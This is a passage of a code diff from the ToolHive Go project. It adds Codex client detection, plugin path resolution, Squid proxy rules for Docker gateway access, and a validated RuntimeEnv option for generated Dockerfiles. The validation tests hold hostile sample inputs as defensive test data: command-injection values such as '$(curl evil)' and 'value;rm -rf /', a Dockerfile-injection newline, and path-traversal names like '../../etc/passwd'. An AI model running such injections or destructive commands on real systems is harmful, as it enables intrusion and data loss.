supportedClientIntegrations, nil) + require.NoError(t, os.MkdirAll(filepath.Join(home, ".claude"), 0o700)) + + path, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + TokenHelperCommand: `"thv" llm token`, + }) + require.NoError(t, err) + + data, err := os.ReadFile(path) + require.NoError(t, err) + for ptr := range bedrockPointers { + _, ok := jsonPointerGet(data, ptr) + assert.False(t, ok, "pointer %q should be absent without BedrockCompat", ptr) + } + }) +} + // newLLMManager builds a ClientManager with a single direct-mode LLM entry // whose settings dir is homeDir/. func newLLMManager(t *testing.T, clientType ClientApp, mode, dir string, ptrs, vals []string) (*ClientManager, string) { @@ -447,6 +508,62 @@ func TestConfigureLLMGateway_ProxyMode(t *testing.T) { // ── DetectedLLMGatewayClients ───────────────────────────────────────────────── +func TestDetectedLLMGatewayClients_Codex(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + configDir bool + binary bool + desktop bool + detectorErr error + nilDetector bool + want bool + }{ + {name: "CLI only", configDir: true, binary: true, want: true}, + {name: "app only without config directory or PATH", desktop: true, want: true}, + {name: "CLI and app append once", configDir: true, binary: true, desktop: true, want: true}, + {name: "stale settings only", configDir: true}, + {name: "no CLI or desktop evidence"}, + {name: "nil desktop detector is not detected", nilDetector: true}, + {name: "detector failure is not detected", detectorErr: errors.New("query failed")}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + home := t.TempDir() + cfgs := []clientAppConfig{{ + ClientType: Codex, + LLMGatewayMode: llmgateway.ModeCodexAuth, + LLMBinaryName: "codex", + LLMSettingsFile: "config.toml", + LLMSettingsRelPath: []string{".codex"}, + }} + if !tt.nilDetector { + cfgs[0].LLMInstalledDetector = func() (bool, error) { return tt.desktop, tt.detectorErr } + } + if tt.configDir { + require.NoError(t, os.MkdirAll(filepath.Join(home, ".codex"), 0o700)) + } + cm := NewTestClientManager(home, nil, cfgs, nil) + cm.lookPath = func(_ string) (string, error) { + if tt.binary { + return "/bin/codex", nil + } + return "", os.ErrNotExist + } + + detected := cm.DetectedLLMGatewayClients() + if tt.want { + require.Equal(t, []ClientApp{Codex}, detected) + } else { + assert.Empty(t, detected) + } + }) + } +} + // TestDetectedLLMGatewayClients_DirOnly verifies that a client without a // BinaryName set is detected based solely on the settings directory existing. func TestDetectedLLMGatewayClients_DirOnly(t *testing.T) { @@ -561,6 +678,7 @@ func TestRealClientConfigs_LLMBinaryNames(t *testing.T) { Cursor: "cursor", ClaudeCode: "claude", GeminiCli: "gemini", + Codex: "codex", // Tools without a binary check (dir-only detection) are omitted. } diff --git a/pkg/client/plugin_toml.go b/pkg/client/plugin_toml.go new file mode 100644 index 0000000000..258423fb50 --- /dev/null +++ b/pkg/client/plugin_toml.go @@ -0,0 +1,18 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +// ReadTOMLConfig reads and parses a TOML config file into a generic map. +// Exported wrapper around the unexported readTOMLConfig so the plugin adapters +// (which live in a separate package) can reuse the same parse path without +// duplicating code. +func ReadTOMLConfig(path string) (map[string]any, error) { + return readTOMLConfig(path) +} + +// WriteTOMLConfig marshals and writes the config map to a TOML file atomically. +// Exported wrapper around the unexported writeTOMLConfig. +func WriteTOMLConfig(path string, config map[string]any) error { + return writeTOMLConfig(path, config) +} diff --git a/pkg/client/plugins.go b/pkg/client/plugins.go new file mode 100644 index 0000000000..e86a211c40 --- /dev/null +++ b/pkg/client/plugins.go @@ -0,0 +1,116 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "errors" + "fmt" + "path/filepath" + "runtime" + "sort" + + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills" +) + +var ( + // ErrPluginsNotSupported is returned when a client does not support plugins. + ErrPluginsNotSupported = errors.New("client does not support plugins") + // ErrNoPluginPath is returned when a client has no plugin path for the requested scope. + ErrNoPluginPath = errors.New("client has no plugin path for the requested scope") +) + +// SupportsPlugins returns whether the given client supports plugins. +func (cm *ClientManager) SupportsPlugins(clientType ClientApp) bool { + cfg := cm.lookupClientAppConfig(clientType) + return cfg != nil && cfg.SupportsPlugins +} + +// ListPluginSupportingClients returns a sorted slice of all clients that support plugins. +func (cm *ClientManager) ListPluginSupportingClients() []ClientApp { + var clients []ClientApp + for _, cfg := range cm.clientIntegrations { + if cfg.SupportsPlugins { + clients = append(clients, cfg.ClientType) + } + } + sort.Slice(clients, func(i, j int) bool { + return clients[i] < clients[j] + }) + return clients +} + +// GetPluginPath resolves the filesystem path for a plugin installation. +// +// For [plugins.ScopeUser], it returns ~//. +// For [plugins.ScopeProject], it returns //. +// +// Returns an error if the client doesn't support plugins, the scope has no +// configured path, the project root is empty, or the plugin name would result +// in path traversal outside the plugins directory. +func (cm *ClientManager) GetPluginPath( + clientType ClientApp, pluginName string, scope plugins.Scope, projectRoot string, +) (string, error) { + if err := skills.ValidateSkillName(pluginName); err != nil { + return "", err + } + + cfg := cm.lookupClientAppConfig(clientType) + if cfg == nil { + return "", fmt.Errorf("%w: %s", ErrUnsupportedClientType, clientType) + } + if !cfg.SupportsPlugins { + return "", fmt.Errorf("%w: %s", ErrPluginsNotSupported, clientType) + } + + switch scope { + case plugins.ScopeUser: + return cm.buildPluginsGlobalPath(cfg, pluginName) + case plugins.ScopeProject: + return buildPluginsProjectPath(cfg, pluginName, projectRoot) + default: + return "", fmt.Errorf("%w: %q", ErrUnknownScope, scope) + } +} + +func (cm *ClientManager) buildPluginsGlobalPath(cfg *clientAppConfig, pluginName string) (string, error) { + if len(cfg.PluginsGlobalPath) == 0 { + return "", fmt.Errorf("%w: %s has no global plugin path", ErrNoPluginPath, cfg.ClientType) + } + + parts := []string{cm.homeDir} + if prefix, ok := cfg.PluginsPlatformPrefix[Platform(runtime.GOOS)]; ok { + parts = append(parts, prefix...) + } + parts = append(parts, cfg.PluginsGlobalPath...) + parts = append(parts, pluginName) + return filepath.Join(parts...), nil +} + +func buildPluginsProjectPath(cfg *clientAppConfig, pluginName string, projectRoot string) (string, error) { + if len(cfg.PluginsProjectPath) == 0 { + return "", fmt.Errorf("%w: %s has no project plugin path", ErrNoPluginPath, cfg.ClientType) + } + + if projectRoot == "" { + return "", ErrProjectRootRequired + } + + parts := []string{projectRoot} + parts = append(parts, cfg.PluginsProjectPath...) + parts = append(parts, pluginName) + return filepath.Join(parts...), nil +} + +// GetConfigPath returns the absolute path to clientType's settings file under +// the manager's home directory. Returns ErrUnsupportedClientType for unknown +// clients. Exported so plugin adapters can locate the Codex config.toml without +// reaching into ClientManager internals. +func (cm *ClientManager) GetConfigPath(clientType ClientApp) (string, error) { + cfg := cm.lookupClientAppConfig(clientType) + if cfg == nil { + return "", fmt.Errorf("%w: %s", ErrUnsupportedClientType, clientType) + } + return buildConfigFilePath(cfg.SettingsFile, cfg.RelPath, cfg.PlatformPrefix, []string{cm.homeDir}), nil +} diff --git a/pkg/client/plugins_test.go b/pkg/client/plugins_test.go new file mode 100644 index 0000000000..3a1e3c6fe0 --- /dev/null +++ b/pkg/client/plugins_test.go @@ -0,0 +1,194 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "errors" + "path/filepath" + "runtime" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/stacklok/toolhive/pkg/plugins" +) + +// newPluginsTestManager builds a ClientManager with the production client +// integrations rooted at a fake home, so plugin-path resolution is exercised +// against the real ClaudeCode and Codex configs without touching the real HOME. +func newPluginsTestManager() *ClientManager { + return NewTestClientManagerWithHome(testHomeDir) +} + +func TestSupportsPlugins(t *testing.T) { + t.Parallel() + cm := newPluginsTestManager() + + assert.True(t, cm.SupportsPlugins(ClaudeCode)) + assert.True(t, cm.SupportsPlugins(Codex)) + // Zed does not support plugins. + assert.False(t, cm.SupportsPlugins(Zed)) + // Unknown client returns false. + assert.False(t, cm.SupportsPlugins(ClientApp("nonexistent"))) +} + +func TestListPluginSupportingClients(t *testing.T) { + t.Parallel() + cm := newPluginsTestManager() + + clients := cm.ListPluginSupportingClients() + // The production integrations currently enable plugins for ClaudeCode + // and Codex only. + require.ElementsMatch(t, []ClientApp{ClaudeCode, Codex}, clients) + + // Verify sorted order. + for i := 1; i < len(clients); i++ { + assert.True(t, clients[i-1] < clients[i], + "not sorted: %q comes after %q", clients[i], clients[i-1]) + } +} + +func TestGetPluginPath(t *testing.T) { + t.Parallel() + cm := newPluginsTestManager() + + // Platform prefix for the current OS (ClaudeCode uses the same path on + // all platforms, but build the expected path defensively). + ccGlobalWant := filepath.Join(append([]string{testHomeDir}, []string{".claude", "plugins", "my-plugin"}...)...) + codexGlobalWant := filepath.Join(testHomeDir, ".agents", "plugins", "toolhive", "my-plugin") + + tests := []struct { + name string + client ClientApp + pluginName string + scope plugins.Scope + projectRoot string + wantPath string + wantErr error // sentinel error to check with errors.Is + wantErrContain string // substring for non-sentinel errors + }{ + { + name: "ScopeUser ClaudeCode", + client: ClaudeCode, + pluginName: "my-plugin", + scope: plugins.ScopeUser, + wantPath: ccGlobalWant, + }, + { + name: "ScopeUser Codex", + client: Codex, + pluginName: "my-plugin", + scope: plugins.ScopeUser, + wantPath: codexGlobalWant, + }, + { + name: "ScopeProject ClaudeCode with explicit root", + client: ClaudeCode, + pluginName: "my-plugin", + scope: plugins.ScopeProject, + projectRoot: "/tmp/myproject", + wantPath: filepath.Join("/tmp/myproject", ".claude", "plugins", "my-plugin"), + }, + { + name: "ScopeProject Codex with explicit root", + client: Codex, + pluginName: "my-plugin", + scope: plugins.ScopeProject, + projectRoot: "/tmp/myproject", + wantPath: filepath.Join("/tmp/myproject", ".agents", "plugins", "toolhive", "my-plugin"), + }, + // Security-relevant: path traversal is rejected by the name validator. + { + name: "path traversal with slashes rejected", + client: ClaudeCode, + pluginName: "../../etc/passwd", + scope: plugins.ScopeUser, + wantErrContain: "invalid", + }, + { + name: "path traversal with backslash rejected", + client: ClaudeCode, + pluginName: `foo\bar`, + scope: plugins.ScopeUser, + wantErrContain: "invalid", + }, + { + name: "null byte in name rejected", + client: ClaudeCode, + pluginName: "plug\x00in", + scope: plugins.ScopeUser, + wantErrContain: "invalid", + }, + { + name: "uppercase name rejected", + client: ClaudeCode, + pluginName: "MyPlugin", + scope: plugins.ScopeUser, + wantErrContain: "invalid", + }, + { + name: "empty name rejected", + client: ClaudeCode, + pluginName: "", + scope: plugins.ScopeUser, + wantErrContain: "invalid", + }, + // Scope guards. + { + name: "ScopeProject requires projectRoot", + client: ClaudeCode, + pluginName: "my-plugin", + scope: plugins.ScopeProject, + wantErr: ErrProjectRootRequired, + }, + { + name: "client that does not support plugins", + client: Zed, + pluginName: "my-plugin", + scope: plugins.ScopeUser, + wantErr: ErrPluginsNotSupported, + }, + { + name: "unknown client", + client: ClientApp("nonexistent"), + pluginName: "my-plugin", + scope: plugins.ScopeUser, + wantErr: ErrUnsupportedClientType, + }, + { + name: "unknown scope", + client: ClaudeCode, + pluginName: "my-plugin", + scope: plugins.Scope("global"), + wantErr: ErrUnknownScope, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + got, err := cm.GetPluginPath(tt.client, tt.pluginName, tt.scope, tt.projectRoot) + if tt.wantErr != nil { + require.Error(t, err) + assert.True(t, errors.Is(err, tt.wantErr), + "expected error wrapping %v, got: %v", tt.wantErr, err) + return + } + if tt.wantErrContain != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantErrContain) + return + } + require.NoError(t, err) + assert.Equal(t, tt.wantPath, got) + }) + } + + // Sanity: the platform-prefix assembly is covered on the current OS. + // (ClaudeCode has no prefix on any OS, so ccGlobalWant holds; this is a + // no-op assertion on most platforms, but guards against future config + // changes that add a prefix without updating the test.) + _ = runtime.GOOS +} diff --git a/pkg/client/test_support.go b/pkg/client/test_support.go index 30894dcde5..c3ef2df807 100644 --- a/pkg/client/test_support.go +++ b/pkg/client/test_support.go @@ -45,3 +45,16 @@ func LLMTestIntegrations(entries []LLMTestEntry) []clientAppConfig { } return cfgs } + +// NewTestClientManagerWithHome returns a ClientManager backed by the production +// client integrations (so plugin/skill/config metadata is fully populated) but +// rooted at homeDir instead of the real user home. Exported so adapter tests in +// other packages can resolve plugin paths and config-file paths under a temp +// directory without mutating process-wide HOME (which forbids t.Parallel). +func NewTestClientManagerWithHome(homeDir string) *ClientManager { + return &ClientManager{ + homeDir: homeDir, + clientIntegrations: supportedClientIntegrations, + lookPath: nil, + } +} diff --git a/pkg/config/config_test.go b/pkg/config/config_test.go index 4bc30074f4..67f92e2012 100644 --- a/pkg/config/config_test.go +++ b/pkg/config/config_test.go @@ -110,7 +110,7 @@ func TestSave(t *testing.T) { }, Clients: Clients{ RegisteredClients: []string{ - "vscode", "cursor", "roo-code", "cline", "claude-code", "amp-cli", "amp-vscode", "amp-cursor", + "vscode", "cursor", "roo-code", "cline", "claude-code", "amp-cli", }, }, } diff --git a/pkg/container/docker/squid.go b/pkg/container/docker/squid.go index c23825e46b..24a4f08a81 100644 --- a/pkg/container/docker/squid.go +++ b/pkg/container/docker/squid.go @@ -207,6 +207,36 @@ func writeDockerGatewayDenyRules(sb *strings.Builder, gatewayIP string) { ) } +// writeDockerGatewayAllowRules emits Squid ACL definitions and http_access allow +// rules that grant access to the Docker gateway addresses. They are written when +// --allow-docker-gateway is set so the flag alone makes the host reachable — in +// allowlist mode, suppressing the deny is not enough, since Squid is +// first-match-wins and only a later allow can let the request through. +// +// The allow rules are emitted as standalone http_access lines that reference only +// the host/IP ACLs, NOT the port ACL. On a single http_access line Squid AND-s +// the ACLs together, so folding the gateway host into the port-restricted +// allowed_ports/allowed_dsts rule would block it on the arbitrary ports that +// host-local services use (5432, 3306, 6379, 8080, …). Gateway access is +// therefore port-independent — a deliberate relaxation, since reaching the host +// is already a separate, more-privileged opt-in. +// +// Like the deny rules, these MUST precede any later http_access allow/deny so +// they are reached under Squid's first-match-wins evaluation. +// +// See writeDockerGatewayDenyRules for the meaning of gatewayIP and the gateway +// hostnames. +func writeDockerGatewayAllowRules(sb *strings.Builder, gatewayIP string) { + sb.WriteString( + "# Grant Docker gateway access — enabled via --allow-docker-gateway\n" + + "acl docker_gateway_hosts dstdomain " + + dockerGatewayHostname + " " + dockerAltGatewayHostname + "\n" + + "acl docker_gateway_ip dst " + gatewayIP + "\n" + + "http_access allow docker_gateway_hosts\n" + + "http_access allow docker_gateway_ip\n\n", + ) +} + func createTempEgressSquidConf( networkPermissions *permissions.NetworkPermissions, serverHostname string, @@ -217,10 +247,13 @@ func createTempEgressSquidConf( writeCommonConfig(&sb, serverHostname, proxyEgress) - // Always block Docker gateway addresses unless the caller explicitly opts - // in via --allow-docker-gateway. MUST precede any http_access allow — - // Squid is first-match-wins. - if !allowDockerGateway { + // Handle Docker gateway access. MUST precede any http_access allow — Squid + // is first-match-wins. When --allow-docker-gateway is set, emit explicit + // allow rules so the flag alone grants host access; otherwise block the + // gateway addresses. + if allowDockerGateway { + writeDockerGatewayAllowRules(&sb, gatewayIP) + } else { writeDockerGatewayDenyRules(&sb, gatewayIP) } diff --git a/pkg/container/docker/squid_test.go b/pkg/container/docker/squid_test.go index 62cc1a8d80..483dbfaec3 100644 --- a/pkg/container/docker/squid_test.go +++ b/pkg/container/docker/squid_test.go @@ -301,6 +301,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { permissions *permissions.NetworkPermissions allowDockerGateway bool expectDenyRule bool + expectAllowRule bool expectAllowAll bool expectContains []string // additional substrings that must appear }{ @@ -321,7 +322,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { expectAllowAll: true, }, { - name: "allow-docker-gateway opt-in removes deny rules", + name: "allow-docker-gateway opt-in emits allow rules instead of deny", permissions: &permissions.NetworkPermissions{ Outbound: &permissions.OutboundNetworkPermissions{ InsecureAllowAll: true, @@ -329,6 +330,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { }, allowDockerGateway: true, expectDenyRule: false, + expectAllowRule: true, expectAllowAll: true, }, { @@ -342,7 +344,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { expectAllowAll: false, }, { - name: "ACL-based outbound with allow-docker-gateway omits deny rules but keeps ACL allow", + name: "ACL-based outbound with allow-docker-gateway emits gateway allow rules and keeps ACL allow", permissions: &permissions.NetworkPermissions{ Outbound: &permissions.OutboundNetworkPermissions{ AllowHost: []string{"example.com"}, @@ -351,6 +353,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { }, allowDockerGateway: true, expectDenyRule: false, + expectAllowRule: true, expectAllowAll: false, expectContains: []string{ "acl allowed_ports port 443", @@ -380,9 +383,9 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { }, }, { - // With the opt-in the deny is dropped and the ACL allow for - // host.docker.internal takes effect. - name: "host.docker.internal in allow_host with opt-in is allowed via ACL", + // With the opt-in the deny is dropped and the standalone gateway + // allow rules grant access — no manual allowlist entry required. + name: "host.docker.internal with opt-in is allowed via standalone gateway rules", permissions: &permissions.NetworkPermissions{ Outbound: &permissions.OutboundNetworkPermissions{ AllowHost: []string{"host.docker.internal"}, @@ -391,6 +394,7 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { }, allowDockerGateway: true, expectDenyRule: false, + expectAllowRule: true, expectAllowAll: false, expectContains: []string{ "acl allowed_dsts dstdomain host.docker.internal", @@ -411,7 +415,13 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { require.NoError(t, err) s := string(b) - if tt.expectDenyRule { + // A given config either blocks the gateway (deny rules) or grants it + // (allow rules), never both. + assert.False(t, tt.expectDenyRule && tt.expectAllowRule, + "a config cannot both deny and allow the docker gateway") + + switch { + case tt.expectDenyRule: assert.Contains(t, s, "acl docker_gateway_hosts dstdomain host.docker.internal gateway.docker.internal") assert.Contains(t, s, "acl docker_gateway_ip dst 172.17.0.1") assert.Contains(t, s, "http_access deny docker_gateway_hosts") @@ -424,7 +434,22 @@ func TestCreateTempEgressSquidConf_DockerGatewayBlocking(t *testing.T) { assert.Less(t, denyIdx, firstAllowIdx, "docker gateway deny must appear before any http_access allow") } - } else { + case tt.expectAllowRule: + assert.Contains(t, s, "acl docker_gateway_hosts dstdomain host.docker.internal gateway.docker.internal") + assert.Contains(t, s, "acl docker_gateway_ip dst 172.17.0.1") + assert.Contains(t, s, "http_access allow docker_gateway_hosts") + assert.Contains(t, s, "http_access allow docker_gateway_ip") + // The gateway must never be denied when the opt-in is set. + assert.NotContains(t, s, "http_access deny docker_gateway_hosts") + assert.NotContains(t, s, "http_access deny docker_gateway_ip") + + // The gateway allow must precede the final catch-all deny — + // Squid is first-match-wins. + assert.Less(t, + strings.Index(s, "http_access allow docker_gateway_hosts"), + strings.LastIndex(s, "http_access deny all"), + "docker gateway allow must appear before the catch-all deny") + default: assert.NotContains(t, s, "docker_gateway_hosts") assert.NotContains(t, s, "docker_gateway_ip") } diff --git a/pkg/container/runtime/types.go b/pkg/container/runtime/types.go index f71b3d0ee0..2aeb954e52 100644 --- a/pkg/container/runtime/types.go +++ b/pkg/container/runtime/types.go @@ -283,6 +283,8 @@ type DeployWorkloadOptions struct { // (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are // blocked by default in the egress proxy even when InsecureAllowAll is set. // Only applicable to Docker deployments with network isolation enabled. + // Gateway access is port-independent: it ignores the permission profile's + // allowed ports, so once enabled the gateway is reachable on any port. AllowDockerGateway bool // RunConfigMCPServerGeneration is the monotonic version stamp from the source RunConfig diff --git a/pkg/container/templates/go.tmpl b/pkg/container/templates/go.tmpl index ce62e632ce..c6590ccac2 100644 --- a/pkg/container/templates/go.tmpl +++ b/pkg/container/templates/go.tmpl @@ -76,6 +76,11 @@ RUN package="{{.MCPPackage}}"; \ # Final stage - minimal runtime image FROM index.docker.io/library/alpine:3.23@sha256:5b10f432ef3da1b8d4c7eb6c487f2f5a8f096bc91145e68878dd4a5019afde11 +{{if .RuntimeConfig.RuntimeEnv}} +# Custom runtime environment variables +{{range $key, $value := .RuntimeConfig.RuntimeEnv}}ENV {{$key}}="{{$value}}" +{{end}} +{{end}} {{if .CACertContent}} # Add custom CA certificate for runtime COPY ca-cert.crt /tmp/custom-ca.crt diff --git a/pkg/container/templates/npx.tmpl b/pkg/container/templates/npx.tmpl index 3725b66c7e..06247e55a8 100644 --- a/pkg/container/templates/npx.tmpl +++ b/pkg/container/templates/npx.tmpl @@ -63,6 +63,11 @@ RUN npm install --save {{.MCPPackage}} # Final stage - runtime image with pre-installed packages FROM {{.RuntimeConfig.BuilderImage}} +{{if .RuntimeConfig.RuntimeEnv}} +# Custom runtime environment variables +{{range $key, $value := .RuntimeConfig.RuntimeEnv}}ENV {{$key}}="{{$value}}" +{{end}} +{{end}} {{if .CACertContent}} # Add custom CA certificate for runtime COPY ca-cert.crt /tmp/custom-ca.crt diff --git a/pkg/container/templates/runtime_config.go b/pkg/container/templates/runtime_config.go index f8b32b44fb..4a71c800ed 100644 --- a/pkg/container/templates/runtime_config.go +++ b/pkg/container/templates/runtime_config.go @@ -20,6 +20,27 @@ const maxPackageNameLength = 128 // dots, underscores, plus signs, or hyphens. var packageNamePattern = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9._+\-]*$`) +// envKeyPattern matches valid environment variable names for RuntimeEnv. +// Must start with an uppercase letter, followed by uppercase letters, numbers, or underscores. +var envKeyPattern = regexp.MustCompile(`^[A-Z][A-Z0-9_]*$`) + +// reservedRuntimeEnvKeys lists environment variable names that RuntimeEnv must +// not override, either because the generated Dockerfile sets them itself +// (e.g. PATH) or because overriding them could destabilize the runtime image. +var reservedRuntimeEnvKeys = map[string]bool{ + "PATH": true, "HOME": true, "USER": true, "SHELL": true, "PWD": true, + "HOSTNAME": true, "TERM": true, "LANG": true, "LC_ALL": true, + "LD_PRELOAD": true, "LD_LIBRARY_PATH": true, +} + +// runtimeEnvDangerousValuePatterns lists substrings that must not appear in a +// RuntimeEnv value. Values are interpolated verbatim into a Dockerfile ENV +// line (ENV KEY="value") with no shell-escaping, so these characters could +// break out of the quoted value and inject arbitrary Dockerfile/shell content. +var runtimeEnvDangerousValuePatterns = []string{ + "`", "$(", "${", "\\", "\n", "\r", "\"", ";", "&&", "||", "|", ">", "<", +} + // RuntimeConfig defines the base images and versions for a specific runtime type RuntimeConfig struct { // BuilderImage is the full image reference for the builder stage. @@ -32,6 +53,16 @@ type RuntimeConfig struct { // Examples for Alpine: ["git", "make", "gcc"] // Examples for Debian: ["git", "build-essential"] AdditionalPackages []string `json:"additional_packages,omitempty" yaml:"additional_packages,omitempty"` + + // RuntimeEnv contains environment variables to inject into the Dockerfile's + // final runtime stage. Unlike BuildEnv (pkg/container/templates.TemplateData.BuildEnv), + // which only affects the builder stage, these variables are baked into the + // shipped image and are present in the running container's process + // environment at startup. Use this for values a packaged MCP server reads at + // process start (e.g. feature flags, cache backend selection), not for + // build-time package manager configuration. + // Keys must be uppercase with underscores, values are validated for safety. + RuntimeEnv map[string]string `json:"runtime_env,omitempty" yaml:"runtime_env,omitempty"` } // Validate checks that all RuntimeConfig fields contain safe values that cannot @@ -69,6 +100,29 @@ func (rc *RuntimeConfig) Validate() error { } } + // Validate each RuntimeEnv entry to ensure keys and values are safe to + // interpolate into a Dockerfile ENV instruction. + for key, value := range rc.RuntimeEnv { + if !envKeyPattern.MatchString(key) { + errs = append(errs, fmt.Errorf( + "invalid runtime env key %q: must match %s", key, envKeyPattern.String(), + )) + continue + } + if reservedRuntimeEnvKeys[key] { + errs = append(errs, fmt.Errorf("runtime env key %q is reserved and cannot be overridden", key)) + continue + } + for _, pattern := range runtimeEnvDangerousValuePatterns { + if strings.Contains(value, pattern) { + errs = append(errs, fmt.Errorf( + "runtime env value for key %q contains potentially dangerous characters: %q", key, pattern, + )) + break + } + } + } + return errors.Join(errs...) } diff --git a/pkg/container/templates/runtime_config_test.go b/pkg/container/templates/runtime_config_test.go index 5e69ffc0d7..7f29640870 100644 --- a/pkg/container/templates/runtime_config_test.go +++ b/pkg/container/templates/runtime_config_test.go @@ -330,3 +330,130 @@ func TestRuntimeConfigValidate_DefaultConfigsAreValid(t *testing.T) { }) } } + +func TestRuntimeConfigValidate_ValidRuntimeEnv(t *testing.T) { + t.Parallel() + + tests := []struct { + key string + value string + }{ + {key: "PYTHON_KEYRING_BACKEND", value: "keyrings.alt.file.PlaintextKeyring"}, + {key: "NODE_ENV", value: "production"}, + {key: "FOO_BAR_123", value: "some-value"}, + } + + for _, tt := range tests { + t.Run(tt.key, func(t *testing.T) { + t.Parallel() + + rc := &RuntimeConfig{ + RuntimeEnv: map[string]string{tt.key: tt.value}, + } + assert.NoError(t, rc.Validate()) + }) + } +} + +func TestRuntimeConfigValidate_InvalidRuntimeEnvKeys(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + key string + }{ + {name: "lowercase key", key: "path_backend"}, + {name: "starts with digit", key: "1FOO"}, + {name: "contains hyphen", key: "FOO-BAR"}, + {name: "empty key", key: ""}, + {name: "contains space", key: "FOO BAR"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + rc := &RuntimeConfig{ + RuntimeEnv: map[string]string{tt.key: "some-value"}, + } + err := rc.Validate() + require.Error(t, err) + assert.Contains(t, err.Error(), "invalid runtime env key") + }) + } +} + +func TestRuntimeConfigValidate_ReservedRuntimeEnvKeys(t *testing.T) { + t.Parallel() + + reservedKeys := []string{"PATH", "HOME", "LD_PRELOAD"} + + for _, key := range reservedKeys { + t.Run(key, func(t *testing.T) { + t.Parallel() + + rc := &RuntimeConfig{ + RuntimeEnv: map[string]string{key: "some-value"}, + } + err := rc.Validate() + require.Error(t, err) + assert.Contains(t, err.Error(), "is reserved and cannot be overridden") + }) + } +} + +func TestRuntimeConfigValidate_InvalidRuntimeEnvValues(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + value string + }{ + {name: "backtick command substitution", value: "`id`"}, + {name: "dollar-paren command substitution", value: "$(curl evil)"}, + {name: "dollar-brace expansion", value: "${HOME}"}, + {name: "trailing backslash", value: `value\`}, + {name: "embedded newline", value: "value\nRUN evil"}, + {name: "embedded carriage return", value: "value\rRUN evil"}, + {name: "embedded double quote breaks out of ENV quoting", value: `value" && RUN evil`}, + {name: "semicolon separator", value: "value;rm -rf /"}, + {name: "command chaining with &&", value: "value && evil"}, + {name: "command chaining with ||", value: "value || evil"}, + {name: "pipe operator", value: "value|cat"}, + {name: "redirect operator >", value: "value>file"}, + {name: "redirect operator <", value: "value" will be appended after these build args. BuildArgs []string - // BuildEnv contains environment variables to inject into the Dockerfile builder stage. - // These are used for configuring package managers (e.g., custom registry URLs). + // BuildEnv contains environment variables to inject into the Dockerfile builder stage only. + // These are used for configuring package managers (e.g., custom registry URLs) and do NOT + // persist into the final runtime image or the running container's environment. + // For environment variables the running container's process needs at startup + // (e.g. feature flags, cache backend selection), use RuntimeConfig.RuntimeEnv instead. // Keys must be uppercase with underscores, values are validated for safety. BuildEnv map[string]string // BuildAuthFiles contains auth file contents keyed by file type (npmrc, netrc, etc). diff --git a/pkg/container/templates/templates_test.go b/pkg/container/templates/templates_test.go index 0f9cc86944..f11052540f 100644 --- a/pkg/container/templates/templates_test.go +++ b/pkg/container/templates/templates_test.go @@ -348,6 +348,81 @@ func TestGetDockerfileTemplate(t *testing.T) { wantNotContains: nil, wantErr: false, }, + { + // Okta MCP server needs a non-default keyring backend at container + // startup, since the default backend requires a desktop session. + name: "UVX transport with RuntimeEnv", + transportType: TransportTypeUVX, + data: TemplateData{ + MCPPackage: "okta-mcp-server", + RuntimeConfig: &RuntimeConfig{ + BuilderImage: "python:3.14-slim", + RuntimeEnv: map[string]string{ + "PYTHON_KEYRING_BACKEND": "keyrings.alt.file.PlaintextKeyring", + }, + }, + }, + wantContains: []string{ + "FROM python:", + "# Custom runtime environment variables", + `ENV PYTHON_KEYRING_BACKEND="keyrings.alt.file.PlaintextKeyring"`, + "uv tool install", + }, + wantMatches: []string{ + `FROM python:\d+\.\d+-slim AS builder`, + `FROM python:\d+\.\d+-slim`, + }, + wantNotContains: nil, + wantErr: false, + }, + { + name: "NPX transport with RuntimeEnv", + transportType: TransportTypeNPX, + data: TemplateData{ + MCPPackage: "example-package", + RuntimeConfig: &RuntimeConfig{ + BuilderImage: "node:24-alpine", + RuntimeEnv: map[string]string{ + "NODE_ENV": "production", + }, + }, + }, + wantContains: []string{ + "FROM node:", + "# Custom runtime environment variables", + `ENV NODE_ENV="production"`, + "npm install --save example-package", + }, + wantMatches: []string{ + `FROM node:\d+-alpine AS builder`, + }, + wantNotContains: nil, + wantErr: false, + }, + { + name: "GO transport with RuntimeEnv", + transportType: TransportTypeGO, + data: TemplateData{ + MCPPackage: "example-package", + RuntimeConfig: &RuntimeConfig{ + BuilderImage: "golang:1.26-alpine", + RuntimeEnv: map[string]string{ + "LOG_LEVEL": "debug", + }, + }, + }, + wantContains: []string{ + "FROM golang:", + "# Custom runtime environment variables", + `ENV LOG_LEVEL="debug"`, + "go install", + }, + wantMatches: []string{ + `FROM golang:\d+\.\d+-alpine AS builder`, + }, + wantNotContains: nil, + wantErr: false, + }, } for _, tt := range tests { @@ -459,6 +534,83 @@ func TestRuntimeStageInstallsAdditionalPackages(t *testing.T) { } } +func TestRuntimeEnvOnlyAppearsInRuntimeStage(t *testing.T) { 